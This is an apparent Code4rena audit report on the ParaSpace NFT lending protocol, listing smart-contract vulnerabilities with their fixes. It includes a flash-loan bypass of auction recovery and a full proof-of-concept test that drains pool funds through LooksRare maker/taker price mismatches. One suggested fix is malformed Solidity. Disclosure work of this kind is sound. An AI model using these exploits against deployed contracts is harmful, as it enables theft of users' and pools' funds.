ParaSpace contest - Trust's results

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L332

Vulnerability details

Description

NFTFloorOracle receives data from different "feeders". They are added using addFeeders() and removed by removeFeeder().

Feeders are managed by two data structures. feeders is an array, each element in the address of the feeder. feederPositionMap maps between feeder address to its position.

    /// @dev All feeders
    address[] public feeders;
    /// @dev feeder map
    // feeder address -> index in feeder list
    mapping(address => FeederPosition) private feederPositionMap;
	
	struct FeederPosition {
    // if feeder registered or not
    bool registered;
    // index in feeder list
    uint8 index;
}

Let's see how _removeFeeder is implemented:

function _removeFeeder(address _feeder)
    internal
    onlyWhenFeederExisted(_feeder)
{
    uint8 feederIndex = feederPositionMap[_feeder].index;
    if (feederIndex >= 0 && feeders[feederIndex] == _feeder) {
        feeders[feederIndex] = feeders[feeders.length - 1];
        feeders.pop();
    }
    delete feederPositionMap[_feeder];
    revokeRole(UPDATER_ROLE, _feeder);
    emit FeederRemoved(_feeder);
}

To remove feeder, we take its index from postion map, and store in that index the current last feeder in the feeder array. Then the last element is popped, like in a classic swap and pop. The issue is that the feederPositionMap entry for the last element in the array, which was just moved somewhere else, will still have the index pointing to the previous original location. As a result, the feeder can no longer by removed, breaking an important safety guarantee of the system that all feeders can be removed if they misbehave.

Impact

Some arbitrary feeders will not be removable, even by admin.

Proof of Concept

Copy the test below to NFTFloorOracle.t.sol:

function testAddRemoveFeeders() public {
    address[] memory newUpdaters = new address[](2);
    newUpdaters[0] = 0x0000000000000000000000000000000000000005;
    newUpdaters[1] = 0x0000000000000000000000000000000000000006;
    //add new updaters and remove old ones
    cheats.startPrank(admin);
    _contract.addFeeders(newUpdaters);
    _contract.removeFeeder(newUpdaters[1]);
    _contract.removeFeeder(newUpdaters[0]);
    _contract.addFeeders(newUpdaters);
    _contract.removeFeeder(newUpdaters[0]);
    _contract.removeFeeder(newUpdaters[1]);
}

The test shows that feeders can be removed from high to low, but will revert when removed from low to high. This is because when removing the high feeder, the swap logic will swap it with itself, so index variable of other feeders is not harmed.

Tools Used

Manual audit

Recommended Mitigation Steps

Change the _removeFeeder function as below:

function _removeFeeder(address _feeder)
    internal
    onlyWhenFeederExisted(_feeder)
{
    uint8 feederIndex = feederPositionMap[_feeder].index;
    if (feederIndex >= 0 && feeders[feederIndex] == _feeder) {
        feeders[feederIndex] = feeders[feeders.length - 1];
        // FIX
        feederPositionMap[feeders[feeders.length - 1]].index = feederIndex;
        feeders.pop();
    }
    delete feederPositionMap[_feeder];
    revokeRole(UPDATER_ROLE, _feeder);
    emit FeederRemoved(_feeder);
}

At this point, the test will run successfully.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/pool/PoolParameters.sol#L281

Vulnerability details

Description

ParaSpace features an auction mechanism to liquidate user's NFT holdings and receive fair value. User has the option, before liquidation actually happens but after auction started, to top up their account to above recovery factor (> 1.5 instead of > 1) and use setAuctionValidityTime() to invalidate the auction.

require(
    erc721HealthFactor > ps._auctionRecoveryHealthFactor,
    Errors.ERC721_HEALTH_FACTOR_NOT_ABOVE_THRESHOLD
);
userConfig.auctionValidityTime = block.timestamp;

The issue is that the check validates the account is topped in the moment the TX is executed. Therefore, user may very easily make it appear they have fully recovered by borrowing a large amount of funds, depositing them as collateral, registering auction invalidation, removing the collateral and repaying the flash loan. Reentrancy guards are not effective to prevent this attack because all these actions are done in a sequence, one finishes before the other begins. However, it is clear user cannot immediately finish this attack below liquidation threshold because health factor check will not allow it.

Still, the recovery feature is a very important feature of the protocol and a large part of what makes it unique, which is why I think it is very significant that it can be bypassed. I am on the fence on whether this should be HIGH or MED level impact, would support judge's verdict either way.

Impact

User can pass auction recovery health check easily with flashloan

Proof of Concept

1. User places NFT as collateral in the protocol
2. User borrows using the NFT as collateral
3. NFT price drops and health factor is lower than liquidation threshold
4. Auction to sell NFT initiates
5. User deposits just enough to be above liquidation threshold
6. User now flashloans 1000 WETH
   1. supply 1000 WETH to the protocol
   2. call setAuctionValidityTime(), cancelling the auction
   3. withdraw the 1000 WETH from the protocol
   4. pay back the 1000 WETH flashloan
7. End result is bypassing of recovery health check

Tools Used

Manual audit

Recommended Mitigation Steps

In order to know user has definitely recovered, implement it as a function which holds the user's assets for X time (at least 5 minutes), then releases it back to the user and cancelling all their auctions.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/UniswapV3OracleWrapper.sol#L245

Vulnerability details

Description

UniswapV3OracleWrapper is responsible for price feed of UniswapV3 NFT tokens. Its getTokenPrice() is used by the health check calculation in GenericLogic.

getTokenPrice gets price from the oracle and then uses it to calculate value of its liquidity.

function getTokenPrice(uint256 tokenId) public view returns (uint256) {
    UinswapV3PositionData memory positionData = getOnchainPositionData(
        tokenId
    );
    PairOracleData memory oracleData = _getOracleData(positionData);
    (uint256 liquidityAmount0, uint256 liquidityAmount1) = LiquidityAmounts
        .getAmountsForLiquidity(
            oracleData.sqrtPriceX96,
            TickMath.getSqrtRatioAtTick(positionData.tickLower),
            TickMath.getSqrtRatioAtTick(positionData.tickUpper),
            positionData.liquidity
        );
    (
        uint256 feeAmount0,
        uint256 feeAmount1
    ) = getLpFeeAmountFromPositionData(positionData);
    return
        (((liquidityAmount0 + feeAmount0) * oracleData.token0Price) /
            10**oracleData.token0Decimal) +
        (((liquidityAmount1 + feeAmount1) * oracleData.token1Price) /
            10**oracleData.token1Decimal);
}

In _getOracleData, sqrtPriceX96 of the holding is calculated, using square root of token0Price and token1Price, corrected for difference in decimals. In case they have same decimals, this is the calculation:

if (oracleData.token1Decimal == oracleData.token0Decimal) {
    // multiply by 10^18 then divide by 10^9 to preserve price in wei
    oracleData.sqrtPriceX96 = uint160(
        (SqrtLib.sqrt(
            ((oracleData.token0Price * (10**18)) /
                (oracleData.token1Price))
        ) * 2**96) / 1E9
    );

The issue is that the inner calculation, could be 0, making the whole expression zero, although price is not.

((oracleData.token0Price * (10**18)) /
                        (oracleData.token1Price))

This expression will be 0 if oracleData.token1Price > token0Price * 10**18. This is not far fetched, as there is massive difference in prices of different ERC20 tokens due to tokenomic models. For example, WETH (18 decimals) is $1300, while BTT (18 decimals) is $0.00000068.

The price is represented using X96 type, so there is plenty of room to fit the price between two tokens of different values. It is just that the number is multiplied by 2**96 too late in the calculation, after the division result is zero.

Back in getTokenPrice, the sqrtPriceX96 parameter which can be zero, is passed to LiquidityAmounts.getAmountsForLiquidity() to get liquidity values. In case price is zero, the liquidity calculator will assume all holdings are amount0, while in reality they could be all amount1, or a combination of the two.

function getAmountsForLiquidity(
    uint160 sqrtRatioX96,
    uint160 sqrtRatioAX96,
    uint160 sqrtRatioBX96,
    uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
    if (sqrtRatioAX96 > sqrtRatioBX96)
        (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
    if (sqrtRatioX96 <= sqrtRatioAX96) { <- Always drop here when 0
        amount0 = getAmount0ForLiquidity(
            sqrtRatioAX96,
            sqrtRatioBX96,
            liquidity
        );
    } else if (sqrtRatioX96 < sqrtRatioBX96) {
        amount0 = getAmount0ForLiquidity(
            sqrtRatioX96,
            sqrtRatioBX96,
            liquidity
        );
        amount1 = getAmount1ForLiquidity(
            sqrtRatioAX96,
            sqrtRatioX96,
            liquidity
        );
    } else {
        amount1 = getAmount1ForLiquidity(
            sqrtRatioAX96,
            sqrtRatioBX96,
            liquidity
        );
    }
}

Since amount0 is the lower value between the two, it is easy to see that the calculated liquidity value will be much smaller than it should be, and as a result the entire Uniswapv3 holding is valuated much lower than it should. Ultimately, it will cause liquidation the moment the ratio between some uniswap pair goes over 10**18.

For the sake of completeness, healthFactor is calculated by calculateUserAccountData, which calls _getUserBalanceForUniswapV3, which queries the oracle with _getTokenPrice.

Impact

UniswapV3 tokens of certain pairs will be wrongly valued, leading to liquidations.

Proof of Concept

1. Alice deposits a uniswap v3 liquidity token as collateral in ParaSpace (Pair A/B)
2. Value of B rises in comparison to A. Now PriceB = PriceA * 10**18
3. sqrtPrice resolves to 0, and entire liquidity is taken as A liquidity. In reality, price is between tickUpper and tickLower of the uniswap token. B tokens are not taken into consideration.
4. Liquidator Luke initiates liquidation of Alice. Alice may lose her NFT collateral although she has kept her position healthy.

Tools Used

Manual audit

Recommended Mitigation Steps

Multiply by 2**96 before the division operation in sqrtPriceX96 calculation.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/marketplaces/LooksRareAdapter.sol#L59 https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/libraries/logic/MarketplaceLogic.sol#L397

Vulnerability details

Description

Paraspace supports leveraged purchases of NFTs through PoolMarketplace entry points. User calls buyWithCredit with marketplace, calldata to be sent to marketplace, and how many tokens to borrow.

function buyWithCredit(
    bytes32 marketplaceId,
    bytes calldata payload,
    DataTypes.Credit calldata credit,
    uint16 referralCode
) external payable virtual override nonReentrant {
    DataTypes.PoolStorage storage ps = poolStorage();
    MarketplaceLogic.executeBuyWithCredit(
        marketplaceId,
        payload,
        credit,
        ps,
        ADDRESSES_PROVIDER,
        referralCode
    );
}

In executeBuyWithCredit, orders are deserialized from the payload user sent to a DataTypes.OrderInfo structure. Each MarketplaceAdapter is required to fulfil that functionality through getAskOrderInfo:

DataTypes.OrderInfo memory orderInfo = IMarketplace(marketplace.adapter)
    .getAskOrderInfo(payload, vars.weth);

If we take a look at LooksRareAdapter's getAskOrderInfo, it will the consideration parameter using only the MakerOrder parameters, without taking into account TakerOrder params

(
    OrderTypes.TakerOrder memory takerBid,
    OrderTypes.MakerOrder memory makerAsk
) = abi.decode(params, (OrderTypes.TakerOrder, OrderTypes.MakerOrder));
orderInfo.maker = makerAsk.signer;

consideration[0] = ConsiderationItem(
    itemType,
    token,
    0,
    makerAsk.price, // TODO: take minPercentageToAsk into account
    makerAsk.price,
    payable(takerBid.taker)
);

The OrderInfo constructed, which contains the consideration item from maker, is used in _delegateToPool, called by _buyWithCredit(), called by executeBuyWithCredit:

for (uint256 i = 0; i < params.orderInfo.consideration.length; i++) {
    ConsiderationItem memory item = params.orderInfo.consideration[i];
    require(
        item.startAmount == item.endAmount,
        Errors.INVALID_MARKETPLACE_ORDER
    );
    require(
        item.itemType == ItemType.ERC20 ||
            (vars.isETH && item.itemType == ItemType.NATIVE),
        Errors.INVALID_ASSET_TYPE
    );
    require(
        item.token == params.credit.token,
        Errors.CREDIT_DOES_NOT_MATCH_ORDER
    );
    price += item.startAmount;
}

The total price is charged to msg.sender, and he will pay it with debt tokens + immediate downpayment. After enough funds are transfered to the Pool contract, it delegatecalls to the LooksRare adapter, which will do the actual call to LooksRareExchange. The exchange will send the money gathered in the pool to maker, and give it the NFT.

The issue is that attacker can supply a different price in the MakerOrder and TakerOrder passed as payload to LooksRare. The maker price will be reflected in the registered price charged to user, but taker price will be the one actually transferred from Pool.

To show taker price is what counts, this is the code in LooksRareExchange.sol:

function matchAskWithTakerBid(OrderTypes.TakerOrder calldata takerBid, OrderTypes.MakerOrder calldata makerAsk)
    external
    override
    nonReentrant
{
    require((makerAsk.isOrderAsk) && (!takerBid.isOrderAsk), "Order: Wrong sides");
    require(msg.sender == takerBid.taker, "Order: Taker must be the sender");
    // Check the maker ask order
    bytes32 askHash = makerAsk.hash();
    _validateOrder(makerAsk, askHash);
    (bool isExecutionValid, uint256 tokenId, uint256 amount) = IExecutionStrategy(makerAsk.strategy)
        .canExecuteTakerBid(takerBid, makerAsk);
    require(isExecutionValid, "Strategy: Execution invalid");
    // Update maker ask order status to true (prevents replay)
    _isUserOrderNonceExecutedOrCancelled[makerAsk.signer][makerAsk.nonce] = true;
    // Execution part 1/2
    _transferFeesAndFunds(
        makerAsk.strategy,
        makerAsk.collection,
        tokenId,
        makerAsk.currency,
        msg.sender,
        makerAsk.signer,
        takerBid.price,   <--- taker price is what's charged
        makerAsk.minPercentageToAsk
    );
	...
}

Since attacker will be both maker and taker in this flow, he has no problem in supplying a strategy which will accept higher taker price than maker price. It will pass this check:

(bool isExecutionValid, uint256 tokenId, uint256 amount) = IExecutionStrategy(makerAsk.strategy)
    .canExecuteTakerBid(takerBid, makerAsk);

It is important to note that for this exploit we can pass a 0 credit loan amount, which allows the stolen asset to be any asset, not just ones supported by the pool. This is because of early return in _borrowTo() and \repay() functions.

The attack POC looks as follows:

1. Taker (attacker) has 10 DAI
2. Pool has 990 DAI
3. Maker (attacker) has 1 doodle NFT.
4. Taker submits buyWithCredit() transaction:

• credit amount 0
• TakerOrder with 1000 amount
• MakerOrder with 10 amount and "accept all" execution strategy

5. Pool will take the 10 DAI from taker and additional 990 DAI from it's own funds and send to Maker.
6. Attacker ends up with both 1000 DAI and an nToken of the NFT

Impact

Any ERC20 tokens which exist in the pool contract can be drained by an attacker.

Proof of Concept

In _pool_marketplace_buy_wtih_credit.spec.ts, add this test:

it("looksrare attack", async () => {
  const {
    doodles,
    dai,
    pool,
    users: [maker, taker, middleman],
  } = await loadFixture(testEnvFixture);
  const payNowNumber = "10";
  const poolVictimNumber = "990";
  const payNowAmount = await convertToCurrencyDecimals(
    dai.address,
    payNowNumber
  );
  const poolVictimAmount = await convertToCurrencyDecimals(
    dai.address,
      poolVictimNumber
  );
  const totalAmount = payNowAmount.add(poolVictimAmount);
  const nftId = 0;
  // mint DAI to offer
  // We don't need to give taker any money, he is not charged
  // Instead, give the pool money
  await mintAndValidate(dai, payNowNumber, taker);
  await mintAndValidate(dai, poolVictimNumber, pool);
  // middleman supplies DAI to pool to be borrowed by offer later
  //await supplyAndValidate(dai, poolVictimNumber, middleman, true);
  // maker mint mayc
  await mintAndValidate(doodles, "1", maker);
  // approve
  await waitForTx(
    await dai.connect(taker.signer).approve(pool.address, payNowAmount)
  );
  console.log("maker balance before", await dai.balanceOf(maker.address))
  console.log("taker balance before", await dai.balanceOf(taker.address))
  console.log("pool balance before", await dai.balanceOf(pool.address))
  await executeLooksrareBuyWithCreditAttack(
    doodles,
    dai,
    payNowAmount,
    totalAmount,
    0,
    nftId,
    maker,
    taker
  );

In marketplace-helper.ts, please copy in the following attack code:

export async function executeLooksrareBuyWithCreditAttack(
    tokenToBuy: MintableERC721 | NToken,
    tokenToPayWith: MintableERC20,
    makerAmount: BigNumber,
    takerAmount: BigNumber,
    creditAmount : BigNumberish,
    nftId: number,
    maker: SignerWithAddress,
    taker: SignerWithAddress
) {
  const signer = DRE.ethers.provider.getSigner(maker.address);
  const chainId = await maker.signer.getChainId();
  const nonce = await maker.signer.getTransactionCount();

  // approve
  await waitForTx(
      await tokenToBuy
          .connect(maker.signer)
          .approve((await getTransferManagerERC721()).address, nftId)
  );

  const now = Math.floor(Date.now() / 1000);
  const paramsValue = [];
  const makerOrder: MakerOrder = {
    isOrderAsk: true,
    signer: maker.address,
    collection: tokenToBuy.address,
    // Listed Maker price not includes payLater amount which is stolen
    price: makerAmount,
    tokenId: nftId,
    amount: "1",
    strategy: (await getStrategyStandardSaleForFixedPrice()).address,
    currency: tokenToPayWith.address,
    nonce: nonce,
    startTime: now - 86400,
    endTime: now + 86400, // 2 days validity
    minPercentageToAsk: 7500,
    params: paramsValue,
  };

  const looksRareExchange = await getLooksRareExchange();

  const {domain, value, type} = generateMakerOrderTypedData(
      maker.address,
      chainId,
      makerOrder,
      looksRareExchange.address
  );

  const signatureHash = await signer._signTypedData(domain, type, value);

  const makerOrderWithSignature: MakerOrderWithSignature = {
    ...makerOrder,
    signature: signatureHash,
  };

  const vrs = DRE.ethers.utils.splitSignature(
      makerOrderWithSignature.signature
  );

  const makerOrderWithVRS: MakerOrderWithVRS = {
    ...makerOrderWithSignature,
    ...vrs,
  };
  const pool = await getPoolProxy();
  const takerOrder: TakerOrder = {
    isOrderAsk: false,
    taker: pool.address,
    price: takerAmount,
    tokenId: makerOrderWithSignature.tokenId,
    minPercentageToAsk: 7500,
    params: paramsValue,
  };

  const encodedData = looksRareExchange.interface.encodeFunctionData(
      "matchAskWithTakerBid",
      [takerOrder, makerOrderWithVRS]
  );

  const tx = pool.connect(taker.signer).buyWithCredit(
      LOOKSRARE_ID,
      `0x${encodedData.slice(10)}`,
      {
        token: tokenToPayWith.address,
        amount: creditAmount,
        orderId: constants.HashZero,
        v: 0,
        r: constants.HashZero,
        s: constants.HashZero,
      },
      0,
      {
        gasLimit: 5000000,
      }
  );

  await (await tx).wait();
}

Finally, we need to change the passed execution strategy. In StrategyStandardSaleForFixedPrice.sol, change canExecuteTakerBid:

function canExecuteTakerBid(OrderTypes.TakerOrder calldata takerBid, OrderTypes.MakerOrder calldata makerAsk)
    external
    view
    override
    returns (
        bool,
        uint256,
        uint256
    )
{
    return (
        //((makerAsk.price == takerBid.price) &&
        //    (makerAsk.tokenId == takerBid.tokenId) &&
        //    (makerAsk.startTime <= block.timestamp) &&
        //    (makerAsk.endTime >= block.timestamp)),
        true,
        makerAsk.tokenId,
        makerAsk.amount
    );
}

We can see the output:

maker balance before BigNumber { value: "0" }
taker balance before BigNumber { value: "10000000000000000000" }
pool balance before BigNumber { value: "990000000000000000000" }
maker balance after BigNumber { value: "1000000000000000000000" }
taker balance after BigNumber { value: "0" }
pool balance after BigNumber { value: "0" }

  Leveraged Buy - Positive tests
    ✔ looksrare attack (34857ms)


  1 passing (54s)

Tools Used

Manual audit

Recommended Mitigation Steps

It is important to validate that the price charged to user is the same price taken from the Pool contract:

// In LooksRareAdapter's getAskOrderInfo:
require(makerAsk.price, takerBid.price)

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/tokenization/libraries/MintableERC721Logic.sol#L402

Vulnerability details

Description

NTokens with balance limits, such as UniswapV3 NTokens, check that this balance limit is not reached when minting new tokens.

function _checkBalanceLimit(
    MintableERC721Data storage erc721Data,
    bool ATOMIC_PRICING,
    uint64 balance
) private view {
    if (ATOMIC_PRICING) {
        uint64 balanceLimit = erc721Data.balanceLimit;
        require(
            balanceLimit == 0 || balance <= balanceLimit,
            Errors.NTOKEN_BALANCE_EXCEEDED
        );
    }
}

The issue is that NTokens can be freely transferred, so attacker can easily fill the balance (30 by default) of victim's allocated NToken tokenIDs. UniswapV3 NTokens can be of any desired value, so user can mint them with negligible value. Therefore, attacker can continually fill up the balance of victim with useless tokens, which will cost a lot of gas for attack to keep getting rid of, in order to make use of these slots.

Impact

Victim cannot make use of UniswapV3 NTokens if victim keeps DOSing their balance

Tools Used

Manual audit

Recommended Mitigation Steps

Allow user to opt-out of receing NTokens when they have balance limits.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/ParaSpaceOracle.sol#L128

Vulnerability details

Description

Paraspace implemented their own Oracle wrapper in ParaSpaceOracle.sol. The important function getAssetPrice() is used by many logic functions like health check.

function getAssetPrice(address asset)
    public
    view
    override
    returns (uint256)
{
    if (asset == BASE_CURRENCY) {
        return BASE_CURRENCY_UNIT;
    }
    uint256 price = 0;
    IEACAggregatorProxy source = IEACAggregatorProxy(assetsSources[asset]);
    if (address(source) != address(0)) {
        price = uint256(source.latestAnswer());
    }
    if (price == 0 && address(_fallbackOracle) != address(0)) {
        price = _fallbackOracle.getAssetPrice(asset);
    }
    require(price != 0, Errors.ORACLE_PRICE_NOT_READY);
    return price;
}

The oracle answer is queried from "source" which in the case of ERC721 tokens, is a ERC721OracleWrapper. It goes to its latestAnswer function:

function latestAnswer() external view override returns (int256) {
    return int256(oracleAddress.getPrice(asset));
}

oracleAddress is an NFTFloorOracle: oracleAddress = INFTFloorOracle(_oracleAddress);

function getPrice(address _asset)
    external
    view
    override
    returns (uint256 price)
{
    uint256 updatedAt = assetPriceMap[_asset].updatedAt;
    require(
        (block.number - updatedAt) <= config.expirationPeriod,
        "NFTOracle: asset price expired"
    );
    return assetPriceMap[_asset].twap;
}

In getPrice, if it has been longer than expirationPeriod since last update, the function will revert. Reverts will bubble up all the way to the original getAssetPrice call, which will revert. However, this is not the intended behavior. The aim was to use the fallbackOracle in case of primary oracle not being updated:

IEACAggregatorProxy source = IEACAggregatorProxy(assetsSources[asset]);
if (address(source) != address(0)) {
    price = uint256(source.latestAnswer());
}
if (price == 0 && address(_fallbackOracle) != address(0)) {
    price = _fallbackOracle.getAssetPrice(asset);
}
require(price != 0, Errors.ORACLE_PRICE_NOT_READY);
return price;

This occured because the standard Chainlink oracle latestAnswer does not revert, rather it returns 0:

function latestAnswer()
    external
    view
    returns (int256)
  {
    return currentAnswers[latestCompletedAnswer];
  }

Therefore, when changing to the home-made oracle, the way to wrap latestAnswer must change as well.

Impact

fallbackOracle will not be queried when the NFTFloorOracle does not have an updated answer. Most of the pool functions will not operate as health check is impaired.

Tools Used

Manual audit

Recommended Mitigation Steps

Wrap the latestAnswer query in a try/catch statement and query the fallback oracle in case of failure.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/misc/NFTFloorOracle.sol#L40

Vulnerability details

Description

NFTFloorOracle retrieves ERC721 prices for ParaSpace. Recordings of prices are managed in assetFeederMap, mapping between address and FeederRegistrar:

struct FeederRegistrar {
    // if asset registered or not
    bool registered;
    // index in asset list
    uint8 index;
    // if asset paused,reject the price
    bool paused;
    // feeder -> PriceInformation
    mapping(address => PriceInformation) feederPrice;
}

Note that feederPrice is a mapping between feeder and a price read.

struct PriceInformation {
    // last reported floor price(offchain twap)
    uint256 twap;
    // last updated blocknumber
    uint256 updatedAt;
    // last updated timestamp
    uint256 updatedTimestamp;
}

When an asset is removed, the assetFeederMap entry for that asset is deleted.

function _removeAsset(address _asset)
    internal
    onlyWhenAssetExisted(_asset)
{
    uint8 assetIndex = assetFeederMap[_asset].index;
    delete assets[assetIndex];
    delete assetPriceMap[_asset];
    delete assetFeederMap[_asset];
    emit AssetRemoved(_asset);
}

However, it is a known limitation of Solidity that when deleting structures with mappings, the mapping will not be affected at all by the delete. Therefore, feederPrice is leaked and the next time that asset will be added, readings from before will be used. Clearly this is not intended and can lead to asset price report being very different from real price. If the price reading was misbehaving and the asset was removed and readded, the old, bad prices will be valid again.

Impact

Asset removal leaks previous asset prices which will be used again when asset is readded.

Proof of Concept

Please copy this test to NFTFloorOracle.t.sol. It shows that the reading from updater[0] is used from before delete/add, after updater[1] and updater[2] add their price.

function testLeakedAssetFeederPrice() public {
    address unknown = 0x0000000000000000000000000000000000000001;
    uint256[] memory twaps = new uint256[](1);
    twaps[0] = 1_000;
    uint256[] memory twaps2 = new uint256[](1);
    twaps2[0] = 1_100;
    uint256[] memory twaps3 = new uint256[](1);
    twaps3[0] = 900;
    address[] memory _tokens = new address[](1);
    _tokens[0] = unknown;
    //admin add asset
    cheats.prank(admin);
    _contract.addAssets(_tokens);
    cheats.prank(updaters[0]);
    _contract.setMultiplePrices(_tokens, twaps);
    assertEq(_contract.assets(2), unknown);
    //admin remove asset
    cheats.prank(admin);
    _contract.removeAsset(unknown);
    //admin add asset again
    cheats.prank(admin);
    _contract.addAssets(_tokens);
    cheats.prank(updaters[1]);
    _contract.setMultiplePrices(_tokens, twaps2);
    // Now we'll set the 3rd price and see the leaked 1000 is now the median
    cheats.prank(updaters[2]);
    cheats.expectEmit(true, true, true, false);
    emit AssetDataSet(address(unknown), 1000, 1);
    _contract.setMultiplePrices(_tokens, twaps3);
}

Tools Used

Manual audit

Recommended Mitigation Steps

Possible solution is to add a "generation" identifier to each mapping entry, which changes after every remove/add cycle of asset. Make sure the current "generation" is stored in the mapping entry when doing a lookup.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/libraries/types/DataTypes.sol#L296

Vulnerability details

Description

In ParaSpace marketplace, taker may pass maker's signature and fulfil their bid with taker's NFT. The maker can use credit loan to purchase the NFT provided the health factor is positive in the end.

In validateAcceptBidWithCredit, verifyCreditSignature is called to verify maker signed the credit structure.

function verifyCreditSignature(
    DataTypes.Credit memory credit,
    address signer,
    uint8 v,
    bytes32 r,
    bytes32 s
) private view returns (bool) {
    return
        SignatureChecker.verify(
            hashCredit(credit),
            signer,
            v,
            r,
            s,
            getDomainSeparator()
        );
}

The issue is that the credit structure does not have a deadline:

struct Credit {
    address token;
    uint256 amount;
    bytes orderId;
    uint8 v;
    bytes32 r;
    bytes32 s;
}

As a result, attacker may simply wait and if the price of the NFT goes down abuse their previous signature to take a larger amount than they would like to pay for the NFT. Additionaly, there is no revocation mechanism, so user has completely committed to loan to get the NFT until the end of time.

Impact

When users sign a credit loan for bidding on an item, they are forever committed to the loan even if the NFT value drops massively.

Tools Used

Manual audit

Recommended Mitigation Steps

Add a deadline timestamp to the signed credit structure.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/libraries/types/DataTypes.sol#L296

Vulnerability details

Description

In ParaSpace marketplace, taker may pass maker's signature and fulfil their bid with taker's NFT. The maker can use credit loan to purchase the NFT provided the health factor is positive in the end.

In validateAcceptBidWithCredit, verifyCreditSignature is called to verify maker signed the credit structure.

function verifyCreditSignature(
    DataTypes.Credit memory credit,
    address signer,
    uint8 v,
    bytes32 r,
    bytes32 s
) private view returns (bool) {
    return
        SignatureChecker.verify(
            hashCredit(credit),
            signer,
            v,
            r,
            s,
            getDomainSeparator()
        );
}

The issue is that the credit structure does not have a marketplace identifier:

struct Credit {
    address token;
    uint256 amount;
    bytes orderId;
    uint8 v;
    bytes32 r;
    bytes32 s;
}

As a result, attacker can use the victim's signature for some orderId in a particular marketplace for another one, where this orderId leads to a much lower valued item. User would borrow money to buy victim's valueless item. This would be HIGH impact, but incidentally right now only the SeaportAdapter marketplace supports credit loans to maker (implements matchBidWithTakerAsk). However, it is very likely the supporting code will be added to LooksRareAdapter and X2Y2Adapter as well. LooksRareExchange supports the function out of the box:

function matchBidWithTakerAsk(OrderTypes.TakerOrder calldata takerAsk, OrderTypes.MakerOrder calldata makerBid)
    external
    override
    nonReentrant
{
    require((!makerBid.isOrderAsk) && (takerAsk.isOrderAsk), "Order: Wrong sides");
    require(msg.sender == takerAsk.taker, "Order: Taker must be the sender");
    // Check the maker bid order
    bytes32 bidHash = makerBid.hash();
    _validateOrder(makerBid, bidHash);
    (bool isExecutionValid, uint256 tokenId, uint256 amount) = IExecutionStrategy(makerBid.strategy)
        .canExecuteTakerAsk(takerAsk, makerBid);
    require(isExecutionValid, "Strategy: Execution invalid");
    // Update maker bid order status to true (prevents replay)
    _isUserOrderNonceExecutedOrCancelled[makerBid.signer][makerBid.nonce] = true;
    // Execution part 1/2
    ...
}

So, this impact would be HIGH but since it is currently not implemented, would downgrade to MED. I understand it can be closed as OOS due to speculation of future code, however I would ask to consider that the likelihood of other Exchanges supporting the required API is particularly high, and take into account the value of this contribution.

Impact

Attacker can abuse victim's signature for marketplace bid to buy worthless item

Tools Used

Manual audit

Recommended Mitigation Steps

Credit structure should contain an additional field "MarketplaceAddress"

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/libraries/logic/GenericLogic.sol#L394

Vulnerability details

Description

_getUserBalanceForERC721() in GenericLogic gets the value of a user's specific ERC721 xToken. It is later used for determining the account's health factor. In case isAtomicPrice is false such as in ape NTokens, price is calculated using:

    uint256 assetPrice = _getAssetPrice(
        params.oracle,
        vars.currentReserveAddress
    );
    totalValue =
        ICollateralizableERC721(vars.xTokenAddress)
            .collateralizedBalanceOf(params.user) *
        assetPrice;

It is the number of apes multiplied by the floor price returns from _getAssetPrice. The issue is that this calculation does not account for slippage, and is unrealistic. If user's account is liquidated, it is very unlikely that releasing several multiples of precious NFTs will not bring the price down in some significant way.

By performing simple multiplication of NFT count and NFT price, protocol is introducing major bad debt risks and is not as conservative as it aims to be. Collateral value must take slippage risks into account.

Impact

Bad debt will likely incur when multiple NFTs are liquidated.

Tools Used

Manual audit

Recommended Mitigation Steps

Change the calculation to account for slippage when NFT balance is above some threshold.

Lines of code

https://github.com/code-423n4/2022-11-paraspace/blob/c6820a279c64a299a783955749fdc977de8f0449/paraspace-core/contracts/protocol/tokenization/libraries/ApeStakingLogic.sol#L253

Vulnerability details

Description

ApeStakingLogic.sol implements the logic for staking ape coins through the NTokenApeStaking NFT.

getTokenIdStakingAmount() is an important function which returns the entire stake amount mapping for a specific BAYC / MAYC NFT.

function getTokenIdStakingAmount(
    uint256 poolId,
    ApeCoinStaking _apeCoinStaking,
    uint256 tokenId
) public view returns (uint256) {
    (uint256 apeStakedAmount, ) = _apeCoinStaking.nftPosition(
        poolId,
        tokenId
    );
    uint256 apeReward = _apeCoinStaking.pendingRewards(
        poolId,
        address(this),
        tokenId
    );
    (uint256 bakcTokenId, bool isPaired) = _apeCoinStaking.mainToBakc(
        poolId,
        tokenId
    );
    if (isPaired) {
        (uint256 bakcStakedAmount, ) = _apeCoinStaking.nftPosition(
            BAKC_POOL_ID,
            bakcTokenId
        );
        apeStakedAmount += bakcStakedAmount;
    }
    return apeStakedAmount + apeReward;
}

We can see that the total returned amount is the staked amount through the direct NFT, plus rewards for the direct NFT, plus the staked amount of the BAKC token paired to the direct NFT. However, the calculation does not include the pendingRewards for the BAKC staked amount, which accrues over time as well.

